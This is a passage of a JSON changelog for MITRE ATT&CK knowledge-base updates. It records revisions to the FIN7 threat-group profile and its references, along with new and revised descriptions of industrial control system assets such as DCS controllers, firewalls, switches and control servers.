[FIN7](https://attack.mitre.org/groups/G0046).(Citation: IBM Ransomware Trends September 2020)" + }, + { + "source_name": "CrowdStrike Carbon Spider August 2021", + "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.", + "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft Ransomware as a Service", + "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + }, + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "source_name": "IBM Ransomware Trends September 2020", + "description": "Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.", + "url": "https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Edward Millington", + "Eric Loui, CrowdStrike Intelligence", + "Serhii Melnyk, Trustwave SpiderLabs" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 03:18:58.136000+00:00\", \"old_value\": \"2024-04-17 22:09:41.004000+00:00\"}, \"root['description']\": {\"new_value\": \"[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021)\", \"old_value\": \"[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.1\", \"old_value\": \"4.0\"}}, \"iterable_item_added\": {\"root['external_references'][8]\": {\"source_name\": \"BiZone Lizar May 2021\", \"description\": \"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\\u2019s toolkit. Retrieved February 2, 2022.\", \"url\": \"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319\"}, \"root['x_mitre_contributors'][1]\": \"Eric Loui, CrowdStrike Intelligence\", \"root['x_mitre_contributors'][2]\": \"Serhii Melnyk, Trustwave SpiderLabs\"}}", + "previous_version": "4.0", + "version_change": "4.0 \u2192 4.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[FIN7](https://attack.mitre.org/groups/G0046) is a financialt1[FIN7](https://attack.mitre.org/groups/G0046) is a financial
>ly-motivated threat group that has been active since 2013. [>ly-motivated threat group that has been active since 2013. [
>FIN7](https://attack.mitre.org/groups/G0046) has primarily t>FIN7](https://attack.mitre.org/groups/G0046) has targeted th
>argeted the retail, restaurant, hospitality, software, consu>e retail, restaurant, hospitality, software, consulting, fin
>lting, financial services, medical equipment, cloud services>ancial services, medical equipment, cloud services, media, f
>, media, food and beverage, transportation, and utilities in>ood and beverage, transportation, pharmaceutical, and utilit
>dustries in the U.S. A portion of [FIN7](https://attack.mitr>ies industries in the United States. A portion of [FIN7](htt
>e.org/groups/G0046) was run out of a front company called Co>ps://attack.mitre.org/groups/G0046) was operated out of a fr
>mbi Security and often used point-of-sale malware for target>ont company called Combi Security and often used point-of-sa
>ing efforts. Since 2020, [FIN7](https://attack.mitre.org/gro>le malware for targeting efforts. Since 2020, [FIN7](https:/
>ups/G0046) shifted operations to a big game hunting (BGH) ap>/attack.mitre.org/groups/G0046) shifted operations to big ga
>proach including use of [REvil](https://attack.mitre.org/sof>me hunting (BGH), including use of [REvil](https://attack.mi
>tware/S0496) ransomware and their own Ransomware as a Servic>tre.org/software/S0496) ransomware and their own Ransomware-
>e (RaaS), Darkside. FIN7 may be linked to the [Carbanak](htt>as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Ca
>ps://attack.mitre.org/groups/G0008) Group, but there appears>rbanak](https://attack.mitre.org/groups/G0008) Group, but mu
> to be several groups using [Carbanak](https://attack.mitre.>ltiple threat groups have been observed using [Carbanak](htt
>org/software/S0030) malware and are therefore tracked separa>ps://attack.mitre.org/software/S0030), leading these groups 
>tely.(Citation: FireEye FIN7 March 2017)(Citation: FireEye F>to be tracked separately.(Citation: FireEye FIN7 March 2017)
>IN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citati>(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBAN
>on: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spid>AK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Cro
>er August 2021)(Citation: Mandiant FIN7 Apr 2022)>wdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 
 >Apr 2022)(Citation: BiZone Lizar May 2021)
" + } + ], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "campaigns": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "assets": { + "additions": [ + { + "type": "x-mitre-asset", + "id": "x-mitre-asset--85f285f9-0a48-4998-921d-8a47d81c0e6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-24 22:53:09.627000+00:00", + "modified": "2025-10-21 16:17:35.766000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/assets/A0017", + "external_id": "A0017" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Distributed Control System (DCS) Controller", + "description": "A Distributed Control System (DCS) Controller is a microprocessor unit that is used to manage automation processes. DCS Controllers are often found in plants (chemical, manufacturing, oil and gas, etc.) where large scale continuous automation processes are required. A DCS Controller typically operates as part of a larger networked system with other DCS Controllers where each DCS Controller manages an individual part of a continuous process. In addition to these other controllers, DCS Controllers operate along side multiple other system components including system software, operator stations, and other embedded field controllers. The distributed nature of DCS Controllers provides scalability, redundancy, and improved process reliability. DCS Controllers are programmed using traditional process automation programming languages (IEC-61131). ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Embedded" + ], + "x_mitre_related_assets": [ + { + "name": "Field Device / Controller", + "related_asset_sectors": [ + "General" + ], + "description": "Distributed Control System (DCS) Controller may be referred to as Field Controllers or Field Devices as a general function name." + }, + { + "name": "Programmable Logic Controller (PLC)", + "related_asset_sectors": [ + "General" + ], + "description": "Programmable Logic Controllers (PLC) share some of the same functionality as DCS Controllers, although often without more advanced control features. " + } + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false, + "x_mitre_sectors": [ + "General" + ] + }, + { + "type": "x-mitre-asset", + "id": "x-mitre-asset--bb141168-ae41-4974-8ece-dc9b63e59237", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-24 18:17:26.575000+00:00", + "modified": "2025-10-21 19:34:14.912000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/assets/A0016", + "external_id": "A0016" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firewall", + "description": "A gateway that limits access between networks in accordance with local security policy.\n\nIn ICS networks, firewalls can exist in multiple locations in the network architecture and serve a variety of purposes. The first, and often the most important, is the firewall segmenting the ICS network from the business network. This firewall acts as the primary network boundary point that controls the ingress/egress of network traffic between the ICS and business networks. This firewall may also be a single device connected to multiple network segments, where the firewall defines individual zones for the different network segments and can control access to the zones and between the zones. This can limit the ability of an adversary to traverse a network.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network", + "Embedded", + "Windows", + "Linux" + ], + "x_mitre_related_assets": [ + { + "name": "Boundary Firewall", + "related_asset_sectors": [ + "General" + ], + "description": "A boundary firewall is used to control the flow of traffic between two different networks. It is typically used to delineate the different levels of the Purdue Model. " + }, + { + "name": "Device Firewall", + "related_asset_sectors": [], + "description": "A device firewall is used to control the flow of traffic between a network and an individual device. It is used when additional protections are required beyond that of a boundary firewall. For example, a boundary firewall may limit traffic on the network to two protocols, but, a device firewall may further limit traffic to a particular device on that network to a single protocol." + } + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false, + "x_mitre_sectors": [ + "General" + ] + }, + { + "type": "x-mitre-asset", + "id": "x-mitre-asset--459e4335-74e1-4136-b730-0f116f0d541d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-29 18:56:19.712000+00:00", + "modified": "2025-10-03 17:46:10.281000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/assets/A0018", + "external_id": "A0018" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Programmable Automation Controller (PAC)", + "description": "A Programmable Automation Controller (PAC) is an embedded programmable control device. PACs are designed to enable automation applications across integrated software applications, peer controllers (e.g., PLC), Human Machine Interfaces, and other systems. PACs often include advanced features for process control, motion control, drive control, and vision applications. PACs are programmed using traditional process automation programming languages (IEC-61131) and sometimes languages such as C and C++ to support more advanced controls.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Embedded" + ], + "x_mitre_related_assets": [ + { + "name": "Field Device / Controller", + "related_asset_sectors": [ + "General" + ], + "description": "Programmable Automation Controller (PAC) may be referred to as Field Controllers or Field Devices as a general function name." + }, + { + "name": "Programmable Logic Controller (PLC)", + "related_asset_sectors": [ + "General" + ], + "description": "Programmable Logic Controllers (PLC) share some of the same functionality as PACs, although often without more advanced control features. Historically, differences between PLCs and PACs were minimal, resulting in varying use of the terms across industry. " + } + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-asset", + "id": "x-mitre-asset--bb553fda-8355-40bc-87c6-5ae25124fa95", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-24 17:53:28.482000+00:00", + "modified": "2025-10-21 19:34:42.547000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/assets/A0015", + "external_id": "A0015" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Switch", + "description": "A switch is a network device that connects endpoints (e.g., workstations, servers, HMIs, PLCs, etc.) so that they can communicate and share data and resources. Switches may operate at either Layer 2 or Layer 3 of the OSI Model and intelligently forward packets across the network based on the specified address (Media Access Control (MAC) address for Layer 2 and Internet Protocol (IP) address for Layer 3). Switches are typically used to define network segments and connect the devices within a particular level of the Purdue Model. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network", + "Embedded" + ], + "x_mitre_related_assets": [ + { + "name": "Core Switch", + "related_asset_sectors": [ + "General" + ], + "description": "A core switch is a device that provides high-speed and reliable connectivity and can be connected with other core switches to make up the backbone of large enterprise/ICS networks. " + }, + { + "name": "Access Switch", + "related_asset_sectors": [ + "General" + ], + "description": "An access switch is a device that allows end users via endpoints (e.g., workstations, servers, etc.) to connect to the network and share data and resources." + }, + { + "name": "Layer 2 Switch", + "related_asset_sectors": [ + "General" + ], + "description": "A Layer 2 switch is a device that forwards data packets on the network based on the specified destination MAC address." + }, + { + "name": "Layer 3 Switch", + "related_asset_sectors": [ + "General" + ], + "description": "A Layer 3 switch is a device that forwards data packets on the network based on the specified source and destination IP addresses." + }, + { + "name": "Distribution Switch", + "related_asset_sectors": [ + "General" + ], + "description": "A distribution switch is a device that connects access switches with core switches and is responsible for controlling traffic between networks." + } + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false, + "x_mitre_sectors": [ + "General" + ] + } + ], + "major_version_changes": [ + { + "type": "x-mitre-asset", + "id": "x-mitre-asset--973bc51e-c41e-4cec-ac03-9389c71f3d0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-28 14:58:00.982000+00:00", + "modified": "2025-10-22 15:13:16.424000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/assets/A0008", + "external_id": "A0008" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Application Server", + "description": "Application servers are used across many different sectors to host various diverse software applications necessary to supporting the ICS. Example functions can include data analytics and reporting, alarm management, and the management/coordination of different control servers. The application server typically runs on a modern server operating system (e.g., MS Windows Server).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "x_mitre_related_assets": [ + { + "name": "File Server", + "related_asset_sectors": [ + "General" + ], + "description": "Server designed to house files within the ICS environment and/or securely transfer files between the ICS and enterprise networks." + }, + { + "name": "License Server", + "related_asset_sectors": [ + "General" + ], + "description": "Vendor-specific server that operates and maintains application licenses for different ICS applications to prevent computers from reaching across the ICS/enterprise network boundary directly." + }, + { + "name": "Update / Patch Management Server", + "related_asset_sectors": [ + "General" + ], + "description": "Server capable of providing updates and/or patches to computers with general purpose operating systems (e.g. MS Windows or Linux) within the ICS environment to prevent computers from reaching across the ICS/enterprise network boundary directly." + }, + { + "name": "Domain Controller (DC)", + "related_asset_sectors": [ + "General" + ], + "description": "MS Windows server used for enforcing security policies and role-based access control (RBAC) rules and managing identity and access management (IAM) policies within a network." + }, + { + "name": "Database Server", + "related_asset_sectors": [ + "General" + ], + "description": "MS Windows (primarily) server used for tracking long-term point information, control sheets, license information, trends, etc. Paired with a Domain Controller and in some cases may be installed on the same machine functioning as a domain controller. MS SQL & Oracle are common types of database software found. " + }, + { + "name": "Alarm Collector", + "related_asset_sectors": [ + "General" + ], + "description": "Server that is a target of device/server alarms for a distributed system. Some workstations or servers may have the job as the alarm collector and may only be a process/service running on the machine. " + }, + { + "name": "Asset Management Server", + "related_asset_sectors": [ + "General" + ], + "description": "A vendor-specific piece of software that collects information about vendor hardware or allows for configuration of that hardware (i.e., FactoryTalk Asset Center). May also be known as: Field Device Management. " + }, + { + "name": "Telemetry Server", + "related_asset_sectors": [ + "General" + ], + "description": "Servers that collect Layer 2 communications or information and send via Layer 3 to other network segments or outside the control zone for collection (examples: PI Feeder, Remote Data Server). " + } + ], + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_sectors": [ + "General" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_related_assets']\": [{\"name\": \"File Server\", \"related_asset_sectors\": [\"General\"], \"description\": \"Server designed to house files within the ICS environment and/or securely transfer files between the ICS and enterprise networks.\"}, {\"name\": \"License Server\", \"related_asset_sectors\": [\"General\"], \"description\": \"Vendor-specific server that operates and maintains application licenses for different ICS applications to prevent computers from reaching across the ICS/enterprise network boundary directly.\"}, {\"name\": \"Update / Patch Management Server\", \"related_asset_sectors\": [\"General\"], \"description\": \"Server capable of providing updates and/or patches to computers with general purpose operating systems (e.g. MS Windows or Linux) within the ICS environment to prevent computers from reaching across the ICS/enterprise network boundary directly.\"}, {\"name\": \"Domain Controller (DC)\", \"related_asset_sectors\": [\"General\"], \"description\": \"MS Windows server used for enforcing security policies and role-based access control (RBAC) rules and managing identity and access management (IAM) policies within a network.\"}, {\"name\": \"Database Server\", \"related_asset_sectors\": [\"General\"], \"description\": \"MS Windows (primarily) server used for tracking long-term point information, control sheets, license information, trends, etc. Paired with a Domain Controller and in some cases may be installed on the same machine functioning as a domain controller. MS SQL & Oracle are common types of database software found. \"}, {\"name\": \"Alarm Collector\", \"related_asset_sectors\": [\"General\"], \"description\": \"Server that is a target of device/server alarms for a distributed system. Some workstations or servers may have the job as the alarm collector and may only be a process/service running on the machine. \"}, {\"name\": \"Asset Management Server\", \"related_asset_sectors\": [\"General\"], \"description\": \"A vendor-specific piece of software that collects information about vendor hardware or allows for configuration of that hardware (i.e., FactoryTalk Asset Center). May also be known as: Field Device Management. \"}, {\"name\": \"Telemetry Server\", \"related_asset_sectors\": [\"General\"], \"description\": \"Servers that collect Layer 2 communications or information and send via Layer 3 to other network segments or outside the control zone for collection (examples: PI Feeder, Remote Data Server). \"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 15:13:16.424000+00:00\", \"old_value\": \"2023-10-04 17:46:20.340000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-asset", + "id": "x-mitre-asset--ecb81a8b-022e-4529-a404-55cffca7d3a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-28 14:55:39.339000+00:00", + "modified": "2025-10-21 19:58:01.290000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/assets/A0007", + "external_id": "A0007" + }, + { + "source_name": "Guidance - NIST SP800-82", + "description": "Keith Stouffer. (2015, May). Guide to Industrial Control Systems (ICS) Security. Retrieved March 28, 2018.", + "url": "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Control Server", + "description": "Control servers are typically a software platform that runs on a modern server operating system (e.g., MS Windows Server). The server typically uses one or more automation protocols (e.g., Modbus, DNP3) to communicate with the various low-level control devices such as Remote Terminal Units (RTUs) and Programmable Logic Controllers (PLCs). The control server also usually provides an interface/network service to connect with an HMI.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "Embedded" + ], + "x_mitre_related_assets": [ + { + "name": "Supervisory Control And Data Acquisition (SCADA) Server", + "related_asset_sectors": [ + "General", + "Electric", + "Water and Wastewater" + ], + "description": "A SCADA server is used to perform monitoring and control across a distributed environment. It typically has an associated HMI to provide information to a human operator and heavily depends on the human operator to initiate control actions." + }, + { + "name": "Master Terminal Unit (MTU)", + "related_asset_sectors": [ + "General" + ], + "description": "*A controller that also acts as a server that hosts the control software that communicates with lower-level control devices, such as remote terminal units (RTUs) and programmable logic controllers (PLCs), over an ICS network* (Citation: Guidance - NIST SP800-82)" + }, + { + "name": "Supervisory Controller", + "related_asset_sectors": [ + "General" + ], + "description": "*A controller that also acts as a server that hosts the control software that communicates with lower-level control devices, such as remote terminal units (RTUs) and programmable logic controllers (PLCs), over an ICS network* (Citation: Guidance - NIST SP800-82)" + }, + { + "name": "Distribution/Energy Management System (DMS/EMS)", + "related_asset_sectors": [ + "Electric" + ], + "description": "A DMS and EMS are electric sector-specific systems that are commonly used to manage distribution and transmission-level electrical grids. These systems typically integrate a SCADA server and HMI with domain-specific data analysis applications, such as state-estimation and contingency analysis (EMS), or voltage-var control or fault restoration (DMS). These systems also maintain visibility (and in some cases control) through a variety of integrated and distributed automation systems. " + }, + { + "name": "Building Management / Automation System (BMS / BAS)", + "related_asset_sectors": [ + "General" + ], + "description": "A controller (or set of controllers) that manages functionality for many common commercial / industrial buildings, such as heating, ventilation, and air conditioning (HVAC), lighting, elevators, etc." + }, + { + "name": "Manufacturing Execution System (MES)", + "related_asset_sectors": [ + "Manufacturing" + ], + "description": "A controller that oversees the performance, efficiency, life cycle, and resourcing for a manufacturing process within the ICS environment at a facility. A MES may interact with an Enterprise Resource Planning (ERP) system in the business environment to coordinate resourcing and job planning." + } + ], + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_sectors": [ + "General" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 19:58:01.290000+00:00\", \"old_value\": \"2023-10-04 18:09:59.538000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_related_assets'][2]['name']\": {\"new_value\": \"Supervisory Controller\", \"old_value\": \"Supervisory controller\"}, \"root['x_mitre_related_assets'][3]['description']\": {\"new_value\": \"A DMS and EMS are electric sector-specific systems that are commonly used to manage distribution and transmission-level electrical grids. These systems typically integrate a SCADA server and HMI with domain-specific data analysis applications, such as state-estimation and contingency analysis (EMS), or voltage-var control or fault restoration (DMS). These systems also maintain visibility (and in some cases control) through a variety of integrated and distributed automation systems. \", \"old_value\": \"A DMS and EMS are electric sector specific devices that are commonly used to manage distribution and transmission-level electrical grids. These platforms typically integrate a SCADA server and HMI with domain-specific data analysis applications, such as state-estimation and contingency analysis (EMS), or voltage-var control or fault restoration (DMS). \"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][2]\": \"Embedded\", \"root['x_mitre_related_assets'][4]\": {\"name\": \"Building Management / Automation System (BMS / BAS)\", \"related_asset_sectors\": [\"General\"], \"description\": \"A controller (or set of controllers) that manages functionality for many common commercial / industrial buildings, such as heating, ventilation, and air conditioning (HVAC), lighting, elevators, etc.\"}, \"root['x_mitre_related_assets'][5]\": {\"name\": \"Manufacturing Execution System (MES)\", \"related_asset_sectors\": [\"Manufacturing\"], \"description\": \"A controller that oversees the performance, efficiency, life cycle, and resourcing for a manufacturing process within the ICS environment at a facility. A MES may interact with an Enterprise Resource Planning (ERP) system in the business environment to coordinate resourcing and job planning.\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-asset", + "id": "x-mitre-asset--68388d4f-8138-420b-be2b-5a7dfe9ff6b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-28 15:01:48.509000+00:00", + "modified": "2025-10-21 19:43:43.474000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/assets/A0009", + "external_id": "A0009" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Data Gateway", + "description": "Data Gateway is a device that supports the communication and exchange of data between different systems, networks, or protocols within the ICS. Different types of data gateways are used to perform various functions, including:\n\n * Protocol Translation: Enable communication to devices that support different or incompatible protocols by translating information from one protocol to another. \n * Media Converter: Convert data across different Layer 1 and 2 network protocols / mediums, for example, converting from Serial to Ethernet. \n * Data Aggregation: Collect and combine data from different devices into one consistent format and protocol interface. \n* Data Mirroring: Create a real-time, exact copy of data streams from devices to a separate destination for redundancy, monitoring, or backup purposes.\n\nData gateways are often critical to the forwarding/transmission of critical control or monitoring data within the ICS. Further, these devices often have remote various network services that are used to communicate across different zones or networks. \n\nThese assets may focus on a single function listed below or combinations of these functions to best fit the industry use-case. \n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "Embedded", + "Network" + ], + "x_mitre_related_assets": [ + { + "name": "Data Acquisition Server (DAS)", + "related_asset_sectors": [ + "General" + ], + "description": "A Data Acquisition Server (DAS) a system or software platform that is used to collect, aggregate, and store data/telemetry from field devices using various SCADA/Automation protocols. " + }, + { + "name": "Serial to Ethernet Gateway", + "related_asset_sectors": [ + "Electric", + "General" + ], + "description": "A Serial to Ethernet gateway is a device that is used to connect field devices that only support serial-based communication (e.g., RS-232) with more modern Ethernet-based networks. " + }, + { + "name": "Industrial Edge", + "related_asset_sectors": [ + "General" + ], + "description": "Devices that may house a cellular or other type of communication stack that is outside the normal network path. May be bi-directional access by outside parties or unidirectional by design to allow for feeding of data to outside areas such as corporate, vendor, or cloud." + } + ], + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_sectors": [ + "General" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 19:43:43.474000+00:00\", \"old_value\": \"2023-10-04 18:08:33.386000+00:00\"}, \"root['description']\": {\"new_value\": \"Data Gateway is a device that supports the communication and exchange of data between different systems, networks, or protocols within the ICS. Different types of data gateways are used to perform various functions, including:\\n\\n * Protocol Translation: Enable communication to devices that support different or incompatible protocols by translating information from one protocol to another. \\n * Media Converter: Convert data across different Layer 1 and 2 network protocols / mediums, for example, converting from Serial to Ethernet. \\n * Data Aggregation: Collect and combine data from different devices into one consistent format and protocol interface. \\n* Data Mirroring: Create a real-time, exact copy of data streams from devices to a separate destination for redundancy, monitoring, or backup purposes.\\n\\nData gateways are often critical to the forwarding/transmission of critical control or monitoring data within the ICS. Further, these devices often have remote various network services that are used to communicate across different zones or networks. \\n\\nThese assets may focus on a single function listed below or combinations of these functions to best fit the industry use-case. \\n\", \"old_value\": \"Data Gateway is a device that supports the communication and exchange of data between different systems, networks, or protocols within the ICS. Different types of data gateways are used to perform various functions, including:\\n\\n * Protocol Translation: Enable communication to devices that support different or incompatible protocols by translating information from one protocol to another. \\n * Media Converter: Convert data across different Layer 1 and 2 network protocols / mediums, for example, converting from Serial to Ethernet. \\n * Data Aggregation: Collect and combine data from different devices into one consistent format and protocol interface. \\n\\nData gateways are often critical to the forwarding/transmission of critical control or monitoring data within the ICS. Further, these devices often have remote various network services that are used to communicate across different zones or networks. \\n\\nThese assets may focus on a single function listed below or combinations of these functions to best fit the industry use-case. \\n\", \"diff\": \"--- \\n+++ \\n@@ 